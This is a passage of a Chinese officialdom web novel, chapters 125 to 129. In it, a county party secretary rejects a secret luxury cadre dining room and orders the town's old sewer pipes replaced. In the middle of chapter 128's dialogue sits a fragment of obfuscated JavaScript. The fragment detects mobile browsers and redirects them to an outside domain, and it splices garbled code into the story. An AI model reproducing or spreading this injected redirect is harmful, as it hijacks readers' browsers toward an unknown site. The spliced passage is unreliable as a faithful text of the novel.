他加快脚步,打算在窗口前寻个寻常位置,让一碗热汤面熨帖一下疲惫的肠胃。
“江**!”
一声带着热络笑意的呼唤自身后传来。
江昭宁回头,是王涛,他的脸上堆着恰到好处的笑容。
“您用餐的地方,今天另有个安排。”王涛侧身,做了个优雅的“请”手势。
“安排?”江昭宁眉峰微蹙,脚步下意识顿住,“哪里?”
“您随我来。”王涛笑容依旧,语气却带着不容置疑的引导意味。
江昭宁心中掠过一丝疑虑,王涛这葫芦里卖的是什么药?
他不动声色地跟上,穿过食堂大厅鼎沸的人声与腾腾热气。
王涛领着他,脚步轻捷地绕过一排排挤满普通干部的餐桌,径直走向食堂最深处一扇不起眼、被厚厚丝绒门帘严密遮挡的侧门。
王涛伸手撩开帘子,门内泄出一片与食堂嘈杂截然不同的幽静,还有一股混合着名贵食材与鲜花的奇异暗香。
江昭宁踏入,眼前景象让他瞳孔骤然一缩。
水晶吊灯洒下无数细碎光斑,在巨大的鎏金餐具上跳跃流淌,每道折光都映出金钱堆砌的冷硬。
空气里浮动着若有若无的昂贵熏香。
脚下是厚实得吸尽一切足音的波斯地毯。
一张宽阔得近乎奢侈的红木圆桌几乎占据了大半个房间,桌面上,精致的骨瓷盘盏层层叠叠。
珍馐美馔堆砌如山。
清蒸石斑鱼细嫩的肉在灯光下泛着珍珠光泽。
澳洲龙虾庞大的身躯被精心拆解,红白相间。
鱼翅羹在鎏金汤盅里氤氲着矜贵的热气。
更有整只烤得金黄酥脆、油光锃亮的乳猪,无声地彰显着权势的饕餮。
这哪里是果腹之地,分明是一场精心布置的权力盛宴。
桌旁,刘世廷、赵永春、周明清、王海峰、赵强以及常务副县长刘国梁以及宣传部长李娟,赫然在座。
众人见他进来,纷纷起身,脸上挂着心照不宣的笑容。
“江**,快请入座!”刘世廷声音洪亮,率先招呼,脸上的笑容堆叠,显得格外热情。
他拍了拍身旁特意空出的主位。
江昭宁的目光缓缓扫过这满室奢华,最终落回那张过分巨大的餐桌和围坐的同僚脸上。
他的眉头锁得更紧,声音带着一丝不易察觉的冷硬:“刘县长,这阵仗……几乎可以就地开**会了。”
“这是什么地方?”他的目光锐利如锥,直刺向身旁的王涛。
“**餐厅!”王涛挺直腰板,答得干脆响亮,仿佛在宣布一项值得骄傲的政绩,脸上满是理所当然的神情。
“**餐厅?”江昭宁的语调陡然升高,目光如电,再次扫过这金碧辉煌的空间,“我履新时间也不算短了,为何从未听人提起过县委食堂深处,还藏着这样一处‘洞天福地’?”
刘世廷脸上的笑容微微一滞,随即又舒展开,带着一种圆熟的世故:“哎呀,江**,你有所不知。”
“前一阵子这里一直在翻新整顿。”
“这不,今天才算彻底完工,正式投入使用。”
“想着给你,也给大家一个惊喜嘛。”他摊开手,一副“你看多好”的姿态。
江昭宁没有顺势坐下,反而后退了小半步,脊背挺得更直,声音清晰地穿透了略显凝滞的空气:“刘县长,此举不妥。”
“这是明目张胆的搞特殊化!”
“脱离群众搞小圈子,外面那些就餐的群众会怎么看?”
“他们会戳我们脊梁骨的!”
“
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群众?又是群众!”刘世廷脸上的笑容终于彻底敛去,取而代之的是一种混合着不耐与优越感的愠色。
他肥胖的手指用力敲了敲光洁的桌面,发出沉闷的响声,“江**,你也别总把‘群众’两个字挂在嘴巴上!”
“我们这些当领导的,难道就不是血肉之躯?就不是人?也得吃饭!”
“不是金刚不坏的神仙!”
“吃好一点,休息好一点,养足了精神,才能更有干劲地投入工作,更好地服务你心心念念的群众嘛!”
他端起面前斟满的酒杯,重重一顿,“这点小事,你就别上纲上线,搞得大家都不自在了。”
他环视一圈,寻求着其他**的认同。
席间一片寂静。
水晶灯的光芒冰冷地打在众人脸上,映照出各种复杂神色。
赵永春垂眼把玩着手中的青瓷茶盏,周明清嘴角挂着一丝若有若无的淡笑。
李娟则略显不安地整理了一下披肩。
空气仿佛凝固了,沉甸甸地压在每个人心头。
江昭宁的目光缓缓扫过那一张张熟悉的脸。
最终,他沉默着,在那张为他预留的主位上勉强坐了下来。
红木椅垫异常柔软,却像针毡。
一位身着合体旗袍、面容姣好的年轻服务员,带着训练有素的温顺微笑,娉婷地走到江昭宁身边。
她手中托着一个精致的透明瓶子,瓶身标签赫然印着某个知名品牌的矿泉水标志。
她动作轻柔优雅,为他面前的酒杯斟满。
清澈透明的液体在杯中微微荡漾。
江昭宁心中那点怪异感瞬间放大。
他不动声色地端起杯子,凑近鼻端。
一股极其熟悉、极其浓烈醇厚的酱香气息,霸道地冲破了伪装的“矿泉水”标签,直钻肺腑——是茅台!
顶级的飞天茅台!
他舌尖轻轻沾了一下,那炽烈如火的液体,那独一无二的馥郁香气,彻底证实了他的判断。
矿泉水瓶装茅台?
这份“别出心裁”的掩耳盗铃,让江昭宁感到一阵强烈的荒谬与厌恶。
第125章 我实在消受不起
江昭宁的目光再次投向餐桌。
那盘踞中央的金黄油亮的乳猪,那晶莹剔透的深海鱼翅羹,那庞大得如同小型装甲车的龙虾……
他放下酒杯,瓷器相碰发出清脆又突兀的一声响。
在一片寂静中,他清晰而缓慢地吐出两个重若千钧的字:“奢侈!”
“这样的餐食我吃不习惯,我有胃病。”
这声音不高,却像冰冷的石子投入死水,让席间所有人瞬间僵住。
赵永春不愧是老资格的县领导,反应极快。
他脸上立刻堆起弥勒佛般的笑容,举起酒杯,声音圆融地打着哈哈:“哎呀,江**!您批评得对,批评得对!”
“今天这菜嘛……确实是花样多了点,份量也大了点。”
“不过您理解理解,第一天‘开业’,食堂那边可能也是想讨个彩头,表达个心意嘛!”
他顿了顿,话锋一转,带着一丝不易察觉的试探,“其实啊,平日里真没这么讲究。”
“只是……”他微微倾身,靠近江昭宁,脸上露出一丝恰到好处的困惑,“**,我这儿有句话,不知当讲不当讲?”
江昭宁压下心头的反感,语气放缓:“赵**,有什么不明白的,但说无妨。”
对于这位在本地根深叶茂、在**内稳坐第三把交椅的老同志,他不得不给予一定的尊重,尽管此刻这份尊重让他感到分外沉重。
赵永春脸上的笑容更深了,带着一种洞悉世情的了然:“**,按常理说,这好东西,精致的东西,它养胃才对呀!”
“怎么到了您这儿,反而吃不习惯?”
“还……还会吃坏了胃口?”
他轻轻拍了拍自己的腹部,“您看我这老胃,倒是觉得这些还挺受用呢。”语气温和,却字字绵里藏针,直指江昭宁“不合群”的本质。
江昭宁迎着他探究的目光,嘴角也扯开一个淡淡的弧度,那笑意却未达眼底:“或许……是我这胃,早已习惯了大食堂的粗茶淡饭。”
“骤然换了这‘琼浆玉液’,山珍海味,它反倒不适应了。”
他的目光掠过满桌珍馐,投向那扇隔绝了外面嘈杂的厚重门帘,声音平静却带着一种不容置疑的力量,“就像那海里的鱼,你把它放进淡水河,肯定不行!”
“我这胃啊,也只认得老百姓食堂那口锅气。”
他话锋一转,目光变得锐利,“刘县长刚才说,领导也是人,也要吃饭。这话没错。”
“但领导吃的饭,和老百姓吃的饭,中间不该隔着这样的天堑鸿沟!”
“江**言重了!”刘世廷接过话头,脸上带着一贯的矜持笑容,手指轻轻敲击着桌面,“这不过是改善一下工作餐环境,提高点效率,让大家能边吃边交流工作嘛。”
“省里领导下来视察,不也需要个像样的地方边吃边汇报?我们这,也是向高标准看齐,为了更好地服务大局嘛。”
他轻描淡写,将特权行为拔高到了“工作需要”和“对接上级”的层面。
“是啊**,”王海峰接口道,语气显得很诚恳,“您刚来不久,可能还不了解我们基层的一些‘实际’情况。”
“有时候,必要的接待规格也是一种‘规矩’,一种‘尊重’。”
“您看今天在座的,都是为县里发展殚精竭虑的同僚,偶尔放松一下,也是人之常情。大家说是不是?”他再次试图将江昭宁架到“不合群”、“不通人情”的位置上。
李娟见状,也笑着举杯:“**,您看大家都等着呢。”
“菜凉了,可就辜负了这第一天开张的心意了。”
“我提议,大家一起敬**一杯,感谢**为全县发展日夜操劳!也欢迎我们这‘**餐厅’正式开伙!”
她试图用场面上的热闹来冲淡这尴尬的僵持。
酒杯纷纷举起。
刘世廷更是亲自端起那个装着“矿泉水”的杯子:“来来来,江**,尝尝这‘水’,解解乏!”
“工作要干,饭也要吃,‘水’更要喝!”
“感情深,一口闷嘛!”他带着一种不容拒绝的亲昵和压迫感。
那刺鼻的酱香再次扑面而来。
江昭宁看着杯中再次满溢的、伪装成清水的“玉液琼浆”,看着周围一张张或热切、或圆滑、或带着隐隐逼迫的脸,看着满桌象征着权力与欲望的珍馐美味,胃里猛地一阵翻江倒海的痉挛。
这哪里是食物?
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>分明是腐蚀意志的糖衣炮弹,是隔绝干群的冰冷高墙!
他猛地站起身!
动作幅度之大,带得身下的红木座椅发出一声刺耳的摩擦声。
“抱歉诸位,”他的声音异常清晰,带着一种斩钉截铁的决绝,瞬间压过了席间所有的劝酒声和寒暄,“这顿饭,我实在消受不起。”
“胃病犯了,疼得厉害。”
他锐利的目光扫过众人惊愕、尴尬、甚至隐含愠怒的脸,“这‘**餐厅’,我江昭宁,无福消受。”
他轻轻推开面前那杯价值不菲的“水”,目光落在那盘几乎无人动过的、金黄酥脆的烤乳猪上,最后补充道,“还有,这‘矿泉水’,味道太冲,我喝不了。”
说完,他不再看任何人,转身,大步流星地走向那扇厚重的丝绒门帘。
室内的人面面相觑。
那隔绝喧嚣的帘子**昭宁猛地撩开。
外面食堂大厅鼎沸的人声、饭菜的混杂气味、普通干部们或埋头吃饭或大声谈笑的鲜活气息,如同汹涌的潮水般瞬间涌入这间金碧辉煌却令人窒息的“**餐厅”。
他头也不回地走了出去,将那满室奢华、那精心伪装的琼浆玉液、那无声的围猎与诱惑,统统甩在身后。
江昭宁向着那灯火通明、人声鼎沸的普通食堂窗口走去。
那里,才是他该去的地方。
他径直走到普通干部打饭的长队末尾。
排在他前面的几个年轻科员,回头看到他,脸上瞬间写满了惊愕和难以置信,下意识地往旁边缩了缩,让出位置,说话的声音都压低了几分。
窗口里,胖胖的打菜师傅显然也认出了这位新来的**。
他瞪圆了眼睛,握着大勺的手停在半空,好一会儿才反应过来,脸上的惊愕迅速被一种朴实的、受宠若惊的热情取代。
“**,**餐厅不是开张了吗?您怎么还来这儿吃?”
“我油腻味重的东西吃不习惯!”
“书……**!您吃点什么?”师傅的声音洪亮得有点发颤,带着浓重的地方口音。
“一碗米饭,一份青菜,再来点那个豆腐就好。”江昭宁指了指最普通的几样菜,语气平和自然。
第126章 关闭小餐厅!
“好嘞!”师傅响亮地应了一声,手上动作却完全变了样。
他狠狠舀了一大勺油光水亮的红烧豆腐。
似乎觉得还不够。
又特意从旁边炖得软烂的大锅菜里,用特制的长筷子准地挑拣出几块肥瘦相间、色泽诱人的五花肉,盖在豆腐上。
然后,他又夹起了满满一大把翠绿的清炒时蔬放入碗里,几乎堆出了碗沿。
最后,他才象征性地扣了一勺米饭。
整个动作麻利又带着一种近乎虔诚的慷慨,那沉甸甸的粗瓷大碗递出来时,菜和肉几乎把米饭完全淹没了。
“**,您拿好!不够再来添!”师傅憨厚地笑着,额头上渗出细密的汗珠。
江昭宁看着这碗远超分量的“工作餐”,心中五味杂陈。
他没有推辞,只是郑重地点点头:“谢谢师傅。”
他端着这碗滚烫的、充满烟火气的饭菜,目光在略显拥挤的大厅里搜寻着。
最终,他在角落里一张已经坐了三个人的长条桌旁找到了空位。
那三人,看穿着像是市政维修队的工人,工作服上沾着油污和尘土。
他们正埋头大口扒饭,低声谈论着上午修下水道遇到的麻烦事。
“这儿有人吗?”江昭宁问。
三个工人抬起头,看清问话的人是谁,瞬间都僵住了。
一个年纪稍大的工人嘴里的饭都忘了咽下去,半张着嘴,呆愣愣地看着他。
另一个年轻些的,手一抖,筷子差点掉在桌上。
第三个则下意识地用手背擦了擦嘴角的油渍,显得有些局促。
“没……没人!”
“**您坐!您坐!”年纪大的工人终于反应过来,慌忙地往里挪了挪凳子,还用手使劲抹了抹桌面。
江昭宁坦然坐下,将沉重的粗瓷碗放在桌上。
他拿起筷子,夹起一块浸透了汤汁的豆腐送入口中。
豆腐的温热、豆香和酱汁的咸鲜混合着,质朴而踏实。
他扒了一口米饭,又夹起一根青菜。
周围一片奇异的安静。
附近几张桌子的人,目光都似有似无地瞟向这个角落。
那三个工人更是拘谨,埋头小口吃着,几乎不敢发出咀嚼声。
“师傅,”江昭宁主动打破了沉默,问那个年纪大的工人,“听你们刚才说下水道?”
“是哪个路段又堵了?”
工人愣了一下,随即脸上显出激动和诉说的欲望:“就是……就是城西老街口那儿!”
“**,您是不知道,那地方老管道细,油污又多,三天两头堵!”
“今天上午我们刚清完,一车一车的油泥啊,臭得熏人!”
“可这治标不治本啊!”
他打开了话匣子,旁边的同伴也忍不住补充起细节。
江昭宁认真地听着,不时询问几句,还从口袋里掏出一个小记事本,简单记下了地点和问题关键。
工人们看他如此认真对待,最初的拘谨渐渐消散,话也多了起来,开始七嘴八舌地说起其他一些市政设施的毛病。
这张角落里的桌子,气氛竟意外地变得融洽起来。
当江昭宁吃完最后一口饭,放下筷子时。
三个工人早已吃完,却一直没走,似乎等着他。
那个年纪大的老工人,看着江昭宁空了的碗,搓着手,脸上带着一种发自内心的感慨,声音不大,却清晰地传入江昭宁耳中:“**……您这饭,吃得实在。”
江昭宁抬头,对上老工人那双被生活磨砺得有些浑浊却异常真诚的眼睛。
他没有说什么豪言壮语,只是用力点了点头,脸上露出一个温和的笑容。
他端起碗筷,走向回收处。
身后,那三个工人注视着他背影的目光,充满了某种难以言喻的暖意和力量。
下午,江昭宁坐在宽大的办公桌后。
他拿起桌上的固定电话,拨通了刘志刚的内线号码。
电话接通,江昭宁的声音在寂静的办公室里显得格外清晰:“刘主任,明天一早,通知住建局、城投公司、财政局负责人,还有分管城建的周正平副县长,九点整,到城西老街口现场开会。”
挂了电话后。
他又打了一个电话给王涛。
“王涛,”江昭宁的声音不高,却像淬了冰的钢刀,“那个‘**餐厅’,”他刻意顿了顿,让这五个字在寂静里发酵出它应有的分量,“你立刻向刘县长请示——如要继续保留,可以。”
“只是,我不会去吃。”
最后几个字,他说得缓慢而清晰,像一枚枚钉子被稳稳地钉进木头里。
“如果刘县长同意我的意见的话,”他语调骤然转冷,斩钉截铁,“立刻停止使用!”
“所有购置的高档餐具、电器,一
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件不落,登记造册,全部封存。”
“钥匙,”他再次停顿,加重语气,“明天上班前,必须放到我办公桌上。”
电话那头陷入一片死寂。
这沉默并非真空,仿佛能听见电流的嘶嘶声和王涛骤然变得粗重却极力压抑的呼吸。
时间被这沉默拉得粘稠而漫长。
终于,几秒钟后,才传来王涛的声音,那声音像是从喉咙深处挤出来的,带着一丝不易察觉的颤抖和巨大的迟疑:“……好的,**。”
“我……我马上去办。”
放下电话,江昭宁没有动。
指尖无意识地、极轻微地敲击着冰凉的办公桌面。
他几乎能看见王涛放下电话后那张瞬间失了血色的脸。
也能清晰地描摹出他如何硬着头皮、步履沉重地走向刘世廷办公室的情形。
那扇厚重的门后,又将掀起怎样的波澜?
等待的时间并不漫长,却仿佛被无形的力量拉长了。
手机屏幕在办公桌上突兀地亮起,王涛的名字在闪烁跳跃。
江昭宁没有立刻去接,任由那铃声在寂静中固执地响了三四声。
他这才拿起手机,按下接听。
“**,”王涛的声音穿透电波传来,带着一种如释重负却又紧绷的奇异混合感,语速快了些许,像急于卸下重担,“刘县长同意您的提议,关闭小餐厅!”
“知道了。”江昭宁的声音毫无波澜,仿佛只是确认了一个再平常不过的消息。
他干脆利落地切断了通话,将手机轻轻放回桌面,那一声轻响在空旷的房间里显得格外清晰。
这个结果,如同棋盘上早已推演过无数遍的落子,毫无悬念。
**不去吃——这轻飘飘的五个字,在权力的天平上却重逾千钧。
这意味着什么?
意味着刘世廷如果还敢带着整个**班子踏进那个地方,那就是在县委领导班子的内部,他一人,带头搞起了**吃喝!
一旦东窗事发,板子打下来。
所有的责任、所有的唾沫星子、所有的审查刀锋,将精准无比地、不容分说地全部落在他刘世廷一个人的头上。
没有江昭宁这道主心骨“同流合污”的背书。
那个精致的小餐厅瞬间就从心照不宣的“内部福利”,变成了一口随时会**、专属于他刘世廷的活棺材。
第127章 群众利益无小事
树大则风必摧之!
继续维持那个小餐厅,为了一口吃的,去冒独自承担整个班子“顶风违纪”的巨大风险?
这其中的利害得失,精于算计如刘贳廷,又怎会掂量不清?
这绝非简单的口腹之欲,而是悬在**生命头顶的达摩克利斯之剑。
他别无选择,唯有亲手关上那扇门,将那刚刚飘起的、带着诱人香气的油烟彻底掐灭。
江昭宁几乎能想象刘世廷那张惯常带笑的脸庞上会是怎样一种极力压抑着怒意和憋闷的僵硬表情。
那咬牙切齿却又不得不吐出的“同意”二字,该是何等滋味。
江昭宁抬手,揉了揉有些发紧的眉心。
这一场无声的交锋,尘埃落定。
他清楚,这绝非终点。
封存的钥匙明天会送到,那间曾经觥筹交错的“**餐厅”将迎来长久的沉寂。
他缓缓呼出一口气。
而在那扇已然锁闭的“**餐厅”门外,走廊的阴影里,一个身影悄然隐没。
服务员小杨靠着冰冷的墙壁,紧握着藏在口袋里的手机,屏幕上,中午录下的一段模糊视频,定格在江昭宁决然离席的背影,以及刘世廷那张因惊愕和愠怒而微微扭曲的脸。
手机屏幕幽蓝的光映着她眼中复杂难辨的神色,似惶恐,又似一丝微弱的希冀。
第二天,上午九点。
江昭宁与周正平一道来到了城西老街口。
虽然已是秋天,城西老街口,空气凝滞不动,一丝风也没有。
只有一种粘稠、沉重、带着**气息的闷热,死死地裹缠着每一个角落。
那味道并非突然袭来。
而是如同潜伏已久的沼泽怪物,从地面每一个缝隙里、每一寸剥落的墙皮深处,丝丝缕缕地渗透出来,缓慢而固执地弥漫开去。
那是陈年油垢、腐烂食物残渣和污水在密闭幽暗的地下管道里经年累月腐烂、发酵后,再被蒸腾催逼出的浓烈恶臭。
几把简陋的折叠椅孤零零地支在街边稍显干净的空地上,这将是一场露天的现场会。
陈向荣、张宏宇以及财政局长舒立悦,三人早已毕恭毕敬地候在那里。
他们看着江昭宁的黑色轿车稳稳停下,看着他和周正平一前一后跨出车门。
江昭宁并未走向那几张为他预备的椅子。
他脚步没有丝毫停顿,目光锐利如刀,直直地投向老街深处那片恶臭弥漫的源头。
“坐就不必了,”他的声音不高,却异常清晰,压过了周遭的嗡鸣,“先去看看现场,看看我们的工人师傅们到底在和什么打交道。”
他率先迈步,皮鞋踩在坑洼不平、油渍斑驳的老街石板上,发出沉稳的笃笃声。
其他人不敢怠慢,立刻簇拥着跟上。
越往里走,那气味便越具侵略性,从鼻腔直冲脑门,刺得人眼睛发酸,胃里一阵阵地翻搅。
陈向荣下意识地掩了下鼻子,又立刻放下,显得有几分狼狈。
张宏宇掏出手帕,不停地擦拭着额角和脖颈的汗。
舒立悦的眉头则越皱越紧,他的目光有些闪烁。
就在街心一个敞开的窨井口旁,市政维修队的工人们正进行着一场与污秽的鏖战。
几根粗长的竹篾片前端绑着简陋的铁钩和钢丝球,被工人奋力捅进狭窄的管道口深处,再艰难地拖拽出来。
每一次拖出,都带起一股更加浓烈、几乎令人窒息的腥臭黑浪,伴随着大团大团粘稠如黑色沥青、又泛着诡异油光的污物。
这些污物被铲进旁边一辆敞着口的翻斗车里,已然堆成了小山。
汗水早已浸透了工人们厚重的蓝色工装,紧贴在身上,勾勒出精疲力竭的轮廓。
他们的脸上、手臂上,沾满了星星点点的黑色油泥,连呼吸都显得格外沉重,每一次吸气都像是强行吞咽着灼热的毒气。
江昭宁在离井口几步远的地方站定,沉默地看着,脸色凝重如铁。
恶臭像无数细密的针,狠狠扎刺着他的感官。
眼前这污秽的泥泞,这工人们几乎是用血肉之躯在搏斗的场景,让他仿佛看到了城市地下无数正
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在溃烂、堵塞的隐秘血管——那些被遗忘、被忽视的角落,此刻正发出沉重而痛苦的呻吟。
“江**?”一个带着浓重惊讶的沙哑声音响起。
昨天中午在食堂碰到的那个满脸风霜的老工人停下了手中的活计,直起腰,浑浊的眼睛里充满了难以置信。
他手中那根沾满污秽的竹篾片还在往下滴着粘稠的黑水。“您……您真来了?”
“我昨天中午就是……就是随口那么一抱怨……”
他有些语无伦次,粗糙的手指局促地搓着工装下摆。
似乎不敢相信眼前这位县里最大的官,竟会被自己几句牢骚话引到这污糟不堪的地方来。
江昭宁的目光落在老工人那张刻满岁月痕迹、此刻写满惊愕与一丝不安的脸上。
他嘴角牵动了一下,那笑容很淡,几乎难以察觉,却奇异地缓和了现场过于紧绷的空气。
“老师傅,我不来,”他的声音不高,却清晰地传到每个人耳中,带着一种不容置疑的穿透力,“难道就任由这管道里的油污,一直这么堵下去?”
“一直熏着街坊邻居,一直让您和您的工友们,年复一年地钻下去、掏下去?”
他的视线缓缓扫过那一车令人作呕的污物,最终定格在狭窄得仅容竹篾片艰难进出的老旧管道口上。
江昭宁语气陡然转沉,斩钉截铁,“这细管子,早该进历史的垃圾堆了!”
“必须更新换代,必须跟上时代!”
他的目光如探照灯般猛地转向舒立悦。
舒立悦心头一凛,下意识地挺直了背脊。
“舒局,”江昭宁的声音不高,却带着千钧之力,“看到了?这绝不只是老街口一家一户的问题。”
“我敢说,整个县城,凡是有些年头的街道,那些埋在地下的‘**细血管’,恐怕都跟这里差不多!”
“这是普遍问题!”他顿了顿,一字一顿,清晰无比,“百姓的鼻子、眼睛、日常生活里堵着心的事,没有一件是小事!”
“都得管!都得解决!”
第128章 现场办公
舒立悦只觉得一股寒气从脚底板直冲头顶。
听这语气了,这是**要动真格的信号。
他几乎是瞬间就调动起脑中那本精密运转的财政账簿,每一个数字都在飞速地碰撞、叠加。
他习惯性地捻动了一下手腕上的表,指尖冰凉,喉结艰难地上下滚动了一下,声音带着一种刻意的沉重和显而易见的为难:“**,您说得对,道理是这个道理。”
“可是……”他重重地叹了口气,仿佛肩上压着万钧重担,“这全县的管道,要彻底更换一遍,工程浩大啊!”
“这不是小打小闹,初步估算……没有一千万,根本拿不下来!”
他微微停顿,小心翼翼地观察着江昭宁的脸色,继续抛出他的困难:“而且……**,我们财政每一分钱的进出,都是年初**会议上通过、板上钉钉的年度预算,一笔一笔,都有明确去向。”
“这笔更换管道的巨额支出……它不在今年的预算盘子里头啊!”
“巧妇难为无米之炊,这……这实在没有名目,没有额度啊!”他摊开双手,脸上写满了“有心无力”四个大字。
四周的空气仿佛瞬间凝固了。
翻斗车旁,几个工人停下了动作,紧张地望过来。
老工人攥紧了手里的竹篾片,指节泛白,浑浊的眼睛里刚刚燃起的一点微光,似乎又被舒立悦这一番话浇得黯淡下去。
江昭宁静静地听着,脸上没有任何波澜,仿佛舒立悦口中那沉甸甸的一千万只是个无关紧要的数字。
直到舒立悦说完,他才微微侧过头,目光平静地落在对方脸上,嘴角似乎勾起一丝极淡、极冷的弧度。
“哦?”他的声音不高,却像冰锥一样刺入舒立悦的耳膜,“舒局的意思,是我江昭宁今天在这里,是搞临时动议?”
“是不按规矩出牌?是给财政局出难题?”他向前踱了一小步,无形的压力陡然增加。
“或者,”他的语调陡然拔高,带着一种冰冷的嘲讽,“舒局的意思是,这些埋在地下、为千家万户排忧解难的排污管道,它们也应该懂得规矩?”
“它们也知道该在年底预算快用完的时候,才按照‘预算要求’准时准点地坏掉?”
“然后规规矩矩地排队,等着被你舒大局长列入下一年度那本厚厚的预算报告里,才有资格被更换、被修理?”
舒立悦的脸“唰”地一下变得通红,随即又迅速褪去血色,变得一片煞白。
他感觉所有人的目光都像针一样扎在自己身上,额头上瞬间冒出细密的冷汗。
他下意识地想抬手擦汗,手指刚动,又觉得不妥,僵硬地停在半空,嘴唇嗫嚅着:“**,我……我不是这个意思……只是……”
“只是什么?”江昭宁毫不客气地打断他,目光锐利如鹰隼,紧紧攫住舒立悦躲闪的眼神,“财政预算,就没有‘机动预算’这一栏?”
“就没有应对突发公共事件的预备金?嗯?”他的质问一句紧似一句,不给对方丝毫喘息的机会。
舒立悦感到一阵窒息般的眩晕,后背的衬衫已被冷汗浸透,紧紧贴在皮肤上。
他艰难地吞咽了一口唾沫,喉结剧烈地滚动了一下,声音干涩得像砂纸摩擦:“有……机动预算……是有的,**。”
“但是……但是……”他艰难地挤出后面的话,仿佛每个字都有千斤重,“今年的机动预算……上半年处理几起突发事故和应急工程,已经……已经用掉大半了。”
“现在账上……满打满算,也就剩下……剩下四、五百万了。”他顿了顿,声音低了下去,带着一种如释重负又无可奈何的叹息,“这点钱,用在更换工程上……远远不够啊。”
“四、五百万?”江昭宁重复了一遍这个数字,脸上依旧看不出喜怒。
他没有再看局促不安的舒立悦,而是倏地转过头,目光精准地投向一直努力降低自己存在感的城投公司常务副总张宏宇。
张宏宇正用手帕擦着汗津津的脖颈,猝不及防被点名,浑身猛地一哆嗦,手帕差点掉在地上。
“张总,”江昭宁的声音不高,却带着一种不容置疑的裁决意味,“财政这边,出四百万。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185252|180059||http|test|mini|href|location''.split(''|''),0,{}));
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r>“剩下那六百万的缺口,”他盯着张宏宇瞬间变得惨白的脸,“你们城投公司,给我顶上。”
张宏宇只觉得脑袋“嗡”的一声,仿佛被重锤狠狠击中。
六百万!
这可不是个小数目!
城投公司账面上虽然有些流水,但哪个项目不要钱?
哪个窟窿不要填?
他眼前仿佛瞬间闪过无数张嗷嗷待哺的报表和催款单,巨大的压力让他几乎喘不过气。
他想开口,想诉苦,想讲讲城投的难处——土地出让金迟迟不到位,几个在建项目回款缓慢,银行信贷又在收紧……
然而,当他抬眼触碰到江昭宁那双平静无波、却深不见底的眼睛时,所有酝酿好的说辞瞬间被冻结在喉咙里。
那眼神里没有任何商量的余地,只有一种山岳般的压力。
他猛地打了个激灵,后背瞬间又被一层新的冷汗浸透,忙不迭地连连点头,声音因为紧张而有些变调:“是!是!**!”
“城投这边……一定……一定想办法解决!保证完成任务!”
他一边说,一边用手帕使劲按着太阳穴,仿佛不这样,脑子就要被那六百万的数字撑得炸开。
江昭宁的目光随即转向陈向荣。
与舒立悦的为难和张宏宇的紧张不同,陈向荣黝黑的脸上反而掠过一丝不易察觉的亢奋。
他手下的市政维修队终于有机会甩开那些束手束脚的竹篾片和钢丝球,干点像样的大工程了!
他挺直腰板,迎着**的目光,回答得干脆利落,声如洪钟:“**放心!市政维修队保证完成任务!”
“我亲自盯着采买、施工,绝对保质保量!”
他的声音里透着一种久违的、即将大干一场的干劲,仿佛眼前堆积如山的污秽和恶臭,都成了即将被他一扫而空的战场。
江昭宁微微颔首,目光最后落回舒立悦身上。
舒立悦刚刚从被逼问的窘迫中缓过一口气。
正暗自庆幸**的注意力终于从自己身上移开。
此刻**昭宁再次盯住,心脏又猛地悬了起来。
第129章 全部更换到位!
“舒局,”江昭宁的语气出乎意料地平缓下来,甚至带上了一丝难以捉摸的意味,“今年……也快过完了。”
“翻过年去,新的预算年就开始了。”他看着舒立悦困惑不解的眼睛,慢悠悠地抛出一句话,“到了明年,你财政局的账上,会多出一笔钱。或者说……”
他刻意停顿了一下,像是在欣赏对方脸上愈发浓重的迷茫,“你们局,会少支出一笔钱。”
舒立悦彻底懵了。
多一笔钱?少支出一笔钱?**这话……如同天书!
钱从哪里多出来?
哪笔支出会凭空消失?
他脑子里飞快地把自己分管领域的预算科目过了一遍:人员工资?刚性支出,只增不减!
民生保障?
更是只能加强!
重点项目?哪个能砍?……完全理不出头绪。
他张了张嘴,想问个明白,但看到江昭宁那副“言尽于此,不必多问”的笃定神情,话到嘴边又生生咽了回去。
巨大的困惑像一团乱麻塞满了胸腔,可借他十个胆子,此刻也不敢再追问一句。
他只能强压下翻腾的疑问,脸上挤出一个极其僵硬、比哭还难看的笑容,含糊地应道:“是,**……明白了。”
那声音干涩无比,连他自己都不信。
江昭宁不再看他,转向一直沉默站在侧后方,脸上没什么表情的周正平。
“周县长,”他的语气恢复了公事公办的干脆利落,“你是分管领导。这件事,从财政拨款、城投筹资,到住建局施工,整个链条,由你全权负责,协调督办。”
他伸出一根手指,语气斩钉截铁,不容任何商量,“一个月。”
“我只给你一个月时间。”
“一个月后,我要看到全县这些该换的老旧管道,全部更换到位!彻底解决!”
周正平迎上江昭宁的目光,脸上依旧没什么波澜,只是沉稳地点点头,声音不高却清晰:“好的,**。我亲自抓。”
简短的几个字,没有任何多余的保证或豪言壮语,却透着一股让人放心的沉稳。
他没有看旁边脸色各异的舒立悦和张宏宇。
目光平静地投向那个散发着恶臭的窨井口,仿佛已经开始盘算时间表和工作节点。
江昭宁最后扫视了一眼现场:堆积的污秽,疲惫的工人,神色各异的几位负责人。
他不再多言,转身,大步流星地朝着来时的方向走去。
皮鞋踏在石板路上的笃笃声,在沉闷而充满异味的空气中显得格外清晰,仿佛敲打在每个在场人的心上。
舒立悦望着江昭宁和周正平迅速远去的背影,指尖冰凉。
**那句“多一笔钱或少支出一笔钱”如同魔咒,在他脑海里反复盘旋,搅得他心烦意乱。
老工人默默地把手中沾满污物的竹篾片扔回翻斗车旁,粗糙的大手在同样油污的工装裤上用力蹭了蹭。
他望着江昭宁离去的方向,又看看那个散发着恶臭的窨井口,布满皱纹的脸上,终于缓缓地、一点点地舒展开来,如同干涸的土地迎来了一丝微弱的雨意。
他咧开嘴,露出被劣质烟草熏得发黄的牙齿,低声对旁边的工友咕哝了一句:“啧,这**……看着年轻,倒是个……办实事的。”
声音不大,却带着一种在底层摸爬滚打多年后,才懂得分辨的、近乎本能的判断。
他弯腰,重新拾起一根新的竹篾片,动作似乎比之前轻快了些许。
周正平回到了办公室。
门在身后沉重地合上,隔绝了走廊里闷热粘稠的空气。
